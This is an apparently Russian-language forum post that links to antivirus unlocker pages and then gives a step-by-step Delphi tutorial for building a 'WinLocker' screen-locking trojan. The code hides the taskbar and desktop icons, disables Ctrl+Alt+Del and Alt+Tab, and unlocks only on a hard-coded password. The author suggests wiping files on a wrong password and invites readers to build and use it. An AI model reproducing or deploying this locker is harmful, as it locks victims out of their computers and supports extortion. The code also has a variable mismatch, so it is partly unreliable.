Троянец заблокировал Windows и требует отправить SMS? Не надо платить преступнику!

вот сайты каторые удаляют этот вирус:

http://www.drweb.com/unlocker/index .                 http://support.kaspersky.ru/viruses/deblocker

\

как его зделать.....

Всупление…
кто нает как все это замутить, тот читает и говорит что мона исправить и добавить… кто ненает тот читает и пробует все осуществить на своем ПК… кто даже незнает что такое Делфи, бросайте читать эту муть, и вообще идите отдохните с друзьями…))
Приступимс…
И так для работы нам потребуется…

1. Дельфин…
2. 2 руки…
3. 1 голова…

Запускаемс дельфина и создаем новую форму… затем бросаем на форму 1 батон (Button) и 1 текстовое поле (Edit)… они понадобятся нам для разблокировки ПК при правильном вводе пасса… при неправильном же вводе мона например перезагрузить ПК или удалить все файлы на ПК)) воть…
знатч такс…
после >>

var
Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

пишем следующее >>

procedure TForm1.CreateParams(var T : TCreateParams);
begin
inherited Createparams(T);
with T do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;

это мы установили стиль формы…))
procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//исключаем из списка ALT+CTRL+DEL
ShowWindow (Application.handle, SW_HIDE);
//Размер формы:=Размеру Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
//Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
//Убираем Панель задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
//Убираем Иконки с рабочего стола
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;

думаю все понятно…

procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*’;
end;

скрываем все вводимые елементы под звяздой* ..))

procedure TForm1.SpeedButton1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];// количество вводимых символов в поле пароля
begin
Password:=edit1.text;
If (Login=’123456789′) then
begin
///////////////////////////////////////////////////////////////
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
///////////////////////////////////////////////////////////////
end

если пасс 123456789 правильный, то все станет на свои места… если нет, то >>

else
begin
Messagedlg(‘Неверный пасс для разблокировки… введите коректный пасс…’,mterror,[mbok],0);
Edit1.Clear;// чистим поле ввода пасса
end;

кому непонятно, то выскочит ошибка с таким текстом: Неверный пасс для разблокировки… введите коректный пасс…
в конце кода ставим

end.

дабы закончить прогу…

Воть и се… самый простой и самый примитивный ВинЛок готов…)) терь билдим его и юзаем… текст на форме можете установить любой, поместив на нее Label…